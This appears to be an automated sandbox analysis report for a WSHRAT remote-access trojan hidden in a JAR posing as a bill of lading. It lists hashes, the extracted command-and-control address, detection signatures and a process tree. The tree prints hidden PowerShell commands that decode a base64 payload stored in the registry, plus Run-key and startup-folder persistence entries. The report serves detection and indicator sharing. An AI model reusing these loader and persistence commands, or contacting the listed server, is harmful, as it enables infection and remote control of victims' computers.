wshrat | 69fafbc1473ee276f6ab987cbbda468a67af0ae33a8a610101cd583aff60021a

Analysis

max time kernel
136s
max time network
173s
platform
windows10-2004_x64
resource
win10v2004-20220414-en
submitted
21/05/2022, 03:46

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
DRAFT-0098-COPY-BILL-LADING.jar
Size 149KB
Sample220521-eb2hdacbfr
SHA256 80533c4042dd29f2fdd5c9131b7b51a71d82c8ad63309448e160f6a2883862de
MD5 45b5f4f2ae04a915f5b360ce5a03b337
SHA1 84f186aa4dd479a5e300da0ad3aed8b14cf706d9
SHA512 8654b20e56852ff8888b02c01b2ef66459e5e655d8ea73c6c43642a91d832cc12114389487a30dbe3e1b84b30cfd6ea4ed6c7a319642439791c4e3d4c8f045bb
MD5 SHA1 SHA512

Score

10^/10

wshrat persistence suricata trojan

Malware Config

Extracted

Family

wshrat

http://pluginsrv2.duckdns.org:8899

Signatures

WSHRAT
WSHRAT is a variant of Houdini worm and has vbs and js variants.
trojan wshrat
suricata: ET MALWARE WSHRAT CnC Checkin
suricata: ET MALWARE WSHRAT CnC Checkin
suricata
suricata: ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1
suricata: ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1
suricata

Blocklisted process makes network request 15 IoCs

flow	pid	Process
15	3068	WScript.exe
30	3068	WScript.exe
33	3068	WScript.exe
34	3068	WScript.exe
40	3068	WScript.exe
41	3068	WScript.exe
42	3068	WScript.exe
43	3068	WScript.exe
44	3068	WScript.exe
48	3068	WScript.exe
49	3068	WScript.exe
50	3068	WScript.exe
51	3068	WScript.exe
52	3068	WScript.exe
53	3068	WScript.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\UgmiwfRadW.vbs	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\UgmiwfRadW.vbs	WScript.exe

Adds Run key to start application 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\software\microsoft\windows\currentversion\run	WScript.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\UgmiwfRadW = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\UgmiwfRadW.vbs\""	WScript.exe
Key created	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Software\Microsoft\Windows\CurrentVersion\Run	wscript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ntfsmgr = "\"C:\\Program Files\\Java\\jre1.8.0_66\\bin\\javaw.exe\" -jar \"C:\\Users\\Admin\\AppData\\Roaming\\ntfsmgr.jar\""	wscript.exe
Key created	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\software\microsoft\windows\currentversion\run	WScript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\UgmiwfRadW = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\UgmiwfRadW.vbs\""	WScript.exe

Drops file in Program Files directory 12 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jre1.8.0_66\bin\ntdll.pdb	javaw.exe
File opened for modification	C:\Program Files\Java\jre1.8.0_66\bin\server\jvm.pdb	javaw.exe
File opened for modification	C:\Program Files\Java\jre1.8.0_66\bin\server\dll\jvm.pdb	javaw.exe
File opened for modification	C:\Program Files\Java\jre1.8.0_66\bin\jvm.pdb	javaw.exe
File opened for modification	C:\Program Files\Java\jre1.8.0_66\bin\dll\jvm.pdb	javaw.exe
File opened for modification	C:\Program Files\Java\jre1.8.0_66\bin\server\ntdll.pdb	javaw.exe
File opened for modification	C:\Program Files\Java\jre1.8.0_66\bin\server\dll\ntdll.pdb	javaw.exe
File opened for modification	C:\Program Files\Java\jre1.8.0_66\bin\server\symbols\dll\ntdll.pdb	javaw.exe
File opened for modification	C:\Program Files\Java\jre1.8.0_66\bin\symbols\dll\ntdll.pdb	javaw.exe
File opened for modification	C:\Program Files\Java\jre1.8.0_66\bin\server\symbols\dll\jvm.pdb	javaw.exe
File opened for modification	C:\Program Files\Java\jre1.8.0_66\bin\symbols\dll\jvm.pdb	javaw.exe
File opened for modification	C:\Program Files\Java\jre1.8.0_66\bin\dll\ntdll.pdb	javaw.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\Local Settings	wscript.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2644	powershell.exe
2644	powershell.exe
3328	powershell.exe
3328	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2644	powershell.exe
Token: SeDebugPrivilege	3328	powershell.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 1856 wrote to memory of 2176	1856	java.exe	80
PID 1856 wrote to memory of 2176	1856	java.exe	80
PID 2176 wrote to memory of 2644	2176	wscript.exe	81
PID 2176 wrote to memory of 2644	2176	wscript.exe	81
PID 2176 wrote to memory of 3068	2176	wscript.exe	83
PID 2176 wrote to memory of 3068	2176	wscript.exe	83
PID 2176 wrote to memory of 3952	2176	wscript.exe	84
PID 2176 wrote to memory of 3952	2176	wscript.exe	84
PID 3952 wrote to memory of 1484	3952	cmd.exe	86
PID 3952 wrote to memory of 1484	3952	cmd.exe	86
PID 2176 wrote to memory of 2648	2176	wscript.exe	89
PID 2176 wrote to memory of 2648	2176	wscript.exe	89
PID 3068 wrote to memory of 3328	3068	WScript.exe	88
PID 3068 wrote to memory of 3328	3068	WScript.exe	88

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\DRAFT-0098-COPY-BILL-LADING.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:1856
- C:\Windows\SYSTEM32\wscript.exe
  wscript C:\Users\Admin\rmznrpsypb.vbs
  2⤵
  - Checks computer location settings
  - Adds Run key to start application
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:2176
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -Command "$humanRights = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'turK3y').turK3y;$humanRights=$humanRights.replace('%$','m');$Abt = [Convert]::FromBase64String($humanRights);$Out = [System.Text.Encoding]::ASCII.GetString($Abt);new-itemproperty -path 'HKCU:\SOFTWARE\Microsoft' -name 'turK3y' -value $Out -propertytype multistring -force | out-null;"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2644
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\UgmiwfRadW.vbs"
    3⤵
    - Blocklisted process makes network request
    - Checks computer location settings
    - Drops startup file
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:3068
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -Command "$humanRights = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'turK3y').turK3y;$humanRights=$humanRights.replace('%$','A');$Abt = [Convert]::FromBase64String($humanRights);$Out = [System.Text.Encoding]::ASCII.GetString($Abt);new-itemproperty -path 'HKCU:\SOFTWARE\Microsoft' -name 'turK3y' -value $Out -propertytype multistring -force | out-null;"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3328
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -version 2> C:\Users\Admin\AppData\Local\Temp\output.txt
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3952
  - - C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
      "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -version
      4⤵
      PID:1484
- - C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
    "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar "C:\Users\Admin\AppData\Roaming\ntfsmgr.jar"
    3⤵
    - Drops file in Program Files directory
    PID:2648

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

90737d32e3aba4b.timestamp

Path C:\Users\Admin\.oracle_jre_usage\90737d32e3aba4b.timestamp
Size 50B
SHA256 32baaaeda22c7ce259573ba92e401272064a08942b62f940dcd05b72e048c1fa
MD5 291870e414880eaab90007d51e7ade97
SHA1 4a9fd64eb1667aac724ca4e438151f913224171b
SHA512 cb81240d5d3a7f039af1ad1014c580e5d8d48abaa16bc69288da1704a708bc94a9405ba933923d6fa05221dadfae2dcafe0d74ad00237b447d06963856a01172
MD5 SHA1 SHA512

Submit Download

90737d32e3aba4b.timestamp

Path C:\Users\Admin\.oracle_jre_usage\90737d32e3aba4b.timestamp
Size 50B
SHA256 56bfd8804dd96d6bad6dcf16c47d29545545d7707cb90cd2a5dccff56924cac0
MD5 0d37a80317f3cfcee6517920eb375833
SHA1 9dee67d605aa585b3647c0ef34289182087c8191
SHA512 92c85c4a048f59dce702e8de9ba59931dbbf185c0bc884c06f2dbe0a27c3f00a1d2ca580adb8572d70e1061d9beb9b91142bd1ce5248e33d22de4ff9b9819a75
MD5 SHA1 SHA512

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
MD5 6cf293cb4d80be23433eecf74ddb5503
SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 a07d329eb9b4105ba442c89f7cfa0d7b263f9f0617e26df93cf8cdc8dc94d57b
MD5 a6c9d692ed2826ecb12c09356e69cc09
SHA1 def728a6138cf083d8a7c61337f3c9dade41a37f
SHA512 2f27d2b241ce34f988c39e17ca5a1ebe628ac6c1b8ee8df121db9ad8929eaadf5f24ad66457591cccf87e60d2ba2eab88af860ab9c323a5c2a9867045d6e7ba3
MD5 SHA1 SHA512

Submit Download

output.txt

Path C:\Users\Admin\AppData\Local\Temp\output.txt
Size 144B
SHA256 5291b20d39a366747e96c746695a687c6575028c967c6f727346eeb6eb3c4963
MD5 0ba8e7fbc04fe4171e6f0fcb25dc3d92
SHA1 3e3abcc014f1f08b431e1fe18841f3b9e9d3c9e4
SHA512 00ac0100c666067510cf79c82552fc865ef5a63717ee8fee346ce450859719ef2ea5657d8ec1d53620fff8f2744653fef929ee32a09368c3cc15a5077bdbfe78
MD5 SHA1 SHA512

Submit Download

UgmiwfRadW.vbs

Path C:\Users\Admin\AppData\Roaming\UgmiwfRadW.vbs
Size 38KB
SHA256 ae48b948c3c9095505e1f979dc13b8964ce5dc21897bae794626f817ed0aca99
MD5 554f2642ed1f64b879b9d88c2676d7b8
SHA1 7c081c9fe71de0277c8d3e47396978f7b2929f3e
SHA512 d23aa318c9b68acf677ae20afde34164538385e8bc1321949195f804343b81af7dc02a75fc3f3d345ede752ddd67ba60902ddc034a6d442c916b3c2e3ccb7457
SSDEEP 768:RfJoCDAxBx229TbyJ1rEeGHlzK3R3cR5RYbPZGVr4uScfF3:Rf6CDAxBx229TbyJueGHl+o5RYFtuScN
MD5 SHA1 SHA512 SSDEEP

Submit Download

ntfsmgr.jar

Path C:\Users\Admin\AppData\Roaming\ntfsmgr.jar
Size 91KB
SHA256 30c1d4defa1a062ddc936cbf81e1bfc730f1be1a6fabd5c9c68911d2bbdd82a8
MD5 a98f7e0f7a02a883048b81a33c2f4226
SHA1 5fb55dc7c1029409a4ac59596e57e0d47975d3b8
SHA512 86ee12243b26e872e91e5b8f170068b7e73c401408920238970e847e591c6a61736a9bae93e758b41dc5c424bff53da213f371ca224e0a749f6d2fc07176e0db
SSDEEP 1536:U/EDRmp/eq9T7fi7UgS8CgOWO0Qolfa8PT5t4eVCdoxJma3GgK+6D:U/apqh767UgBCgzRlyuT4eyaJmMWD
MD5 SHA1 SHA512 SSDEEP

Submit Download

rmznrpsypb.vbs

Path C:\Users\Admin\rmznrpsypb.vbs
Size 247KB
SHA256 df9619550c0640633cbc0baa121dc15c6c6682feb3c0817d4922140f1d23ab4e
MD5 1da9439e436c0857e6cc31a82855bb8d
SHA1 1de2ce75163b8e1b4590b01fd2cd431ea88f2295
SHA512 98c0db0712fe7b702f4095605eb8412f4dcfd5ce04717e168164172ac0140d2ae37357def65d5ed7ba44778ebeadd4a1675faeff6ca8c529f610cff921bde247
SSDEEP 6144:kSf2VSy9ehePdn1cm+WnAdRxXM6737wSrQFDESnyFG1Bend6:kSf2VL9f1cXWxaODE43end6
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1484-160-0x0000000002C30000-0x0000000003C30000-memory.dmp

Download

memory/1856-138-0x0000000003280000-0x0000000004280000-memory.dmp

Download

memory/2644-144-0x000001E436360000-0x000001E436382000-memory.dmp

Download

memory/2644-145-0x00007FF9F8710000-0x00007FF9F91D1000-memory.dmp

Download

memory/2648-185-0x0000000002CC0000-0x0000000003CC0000-memory.dmp

Download

memory/2648-190-0x0000000002CC0000-0x0000000003CC0000-memory.dmp

Download

memory/2648-189-0x0000000002CC0000-0x0000000003CC0000-memory.dmp

Download

memory/2648-174-0x0000000002CC0000-0x0000000003CC0000-memory.dmp

Download

memory/2648-188-0x0000000002CC0000-0x0000000003CC0000-memory.dmp

Download

memory/2648-184-0x0000000002CC0000-0x0000000003CC0000-memory.dmp

Download

memory/3328-178-0x00007FF9F8710000-0x00007FF9F91D1000-memory.dmp

Download